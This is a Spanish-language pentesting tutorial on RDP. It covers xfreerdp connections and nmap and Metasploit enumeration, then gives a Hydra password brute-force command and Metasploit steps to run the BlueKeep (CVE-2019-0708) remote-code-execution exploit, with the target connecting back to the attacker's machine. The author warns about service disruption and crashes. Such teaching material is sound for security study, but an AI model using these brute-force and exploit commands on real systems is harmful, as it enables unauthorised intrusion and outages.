RDP (Remote Desktop Protocol) es un protocolo de Microsoft que permite conectarse y controlar de forma remota otro equipo con interfaz gráfica a través de la red.
Tenemos numerosas herramientas para conectarnos de forma remota a un sistema Windows por RDP desde Linux. Una de las más conocidas es xfreerdp.
# Instalación de xfreerdp
sudo apt update && sudo apt install freerdp2-x11 -y
# Conexión mediante RDP
# /u: Usuario
# /p: Contraseña
# /v: IP o dominio de la máquina Windows
xfreerdp /u:usuario /p:contraseña /v:10.0.0.10
# Otros parámetros útiles
# /cert:ignore Ignora certificados (útil en entornos locales)
# /size:1024x768 Define resolución de pantalla
# /f Pantalla completa
La forma más rápida de enumerar RDP es mediante el comando nmap sobre el puerto 3389 (puerto por defecto de RDP).
sudo nmap -sV -p3389 10.0.0.10
Hay ocasiones en las que RDP no corre en su puerto por defecto 3389. Por ejemplo, cuando hacemos un escaneo de todos los puertos con nmap con -p- y encontramos puertos no estándar que no podemos identificar el servicio que corren. Nos fijaremos especialmente los puertos por debajo de 49152, ya que el rango 49152-65535 son conocidos como puertos efímeros y son asignados temporalmente por el sistema operativo para conexiones salientes, por lo que no tiene tanto sentido que haya en ellos desplegado un servidor RDP.
sudo nmap -sS --top-ports -p- 10.0.0.10
Tras ejecutar el comando, si identificamos varios puertos que no conocemos, podemos tratar primero de averiguar la versión del servicio con nmap pasando la lista de puertos concreta. Para este ejemplo imaginemos que detectamos los puertos 4617 y 3918 que no logramos reconocer.
sudo nmap -sV -sC -p4617,3918 10.0.0.10
Este escaneo de nmap puede darnos detalles de los servicios que corren en dichos puertos, pero si no es el caso y aun así queremos comprobar de forma explícita si alguno de esos puertos corre RDP, podemos usar un módulo de metasploit para averiguarlo.
# Iniciamos Metasploit
sudo msfconsole -q
# Corremos el escáner
msf> use auxiliary/scanner/rdp/rdp_scanner
msf> set RHOSTS 10.0.0.10 # Ip de la máquina víctima
msf> set RPORT 4617 # Puerto a comprobar
msf> run
Como último recurso, tenemos la opción de probar fuerza bruta sobre RDP para tratar de descubrir credenciales poco robustas. Una de las formas más sencillas es utilizando la herramienta Hydra.
Debemos tener en cuenta que cada intento de usuario y contraseña provocará una nueva solicitud de conexión. Esto significa que generaremos una gran cantidad de tráfico que puede llegar a desestabilizar el sistema. Esto es importante de cara a no provocar una denegación en el servicio de la compañía para la que estemos realizando las pruebas. En el caso de laboratorios CTF no es tan problemático, ya que bastará con reiniciar el laboratorio.
Como siempre, contamos con una gran cantidad de wordlists disponibles. En este caso se ejemplifica con las wordlists de Seclists disponibles por defecto en Kali linux.
# Primero instalamos las wordlists de Seclists si no las tenemos
sudo apt update && sudo apt install seclists
# NOTA: Para simplificar los comandos, uso users.txt y passwords.txt
# pero debes sustiturilo por wordlists válidas como:
# users.txt: /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
# passwords.txt: /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt
hydra -t 4 -V -f -L users.txt -P passwords.txt rdp://192.168.1.10
# Parámetros comunes
# -s 3333: usar otro puerto distinto al por defecto del protocolo
# -t 4: número de hilos paralelos.
# -V: modo verboso, muestra cada intento.
# -f: detiene el ataque al encontrar una combinación válida.
# -L: prueba con una wordlist de nombres de usuario.
# -P: prueba con una wordlist de contraseñas.
# -l: prueba conn un nombre de usuario concreto
# -p: prueba con una contraseña en particular
# rdp://IP: objetivo, usando el protocolo RDP.
BlueKeep es una vulnerabilidad crítica que permite la ejecución remota de código (RCE) sin necesidad de autenticación, lo que significa que un atacante puede tomar el control de un sistema vulnerable sin que el usuario haga nada, simplemente enviando tráfico malicioso al puerto RDP (por defecto, el 3389).
NOTA: Esta vulnerabilidad aprovecha el especio de memoria del Kernel y de las aplicaciones, lo que puede causar crasheos en el sistema.
# Escaneo para comprobar si es vulnerable
msf> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf> set RHOSTS 10.0.0.15
msf> run
# Explotación (puede provocar crasheos del sistema).
# NO RECOMENDADO EN PENTESTINGS REALES, SOLO CTFs
msf> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf> set RHOSTS 10.0.0.15 # Ip de la máquina a atacar
msf> set LHOST 10.0.0.10 # Nuestra IP de Kali
msf> show targets # Consultar lista de objetivos posibles
msf> use 1 # Selección de un objetivo (tras show targets)
msf> exploit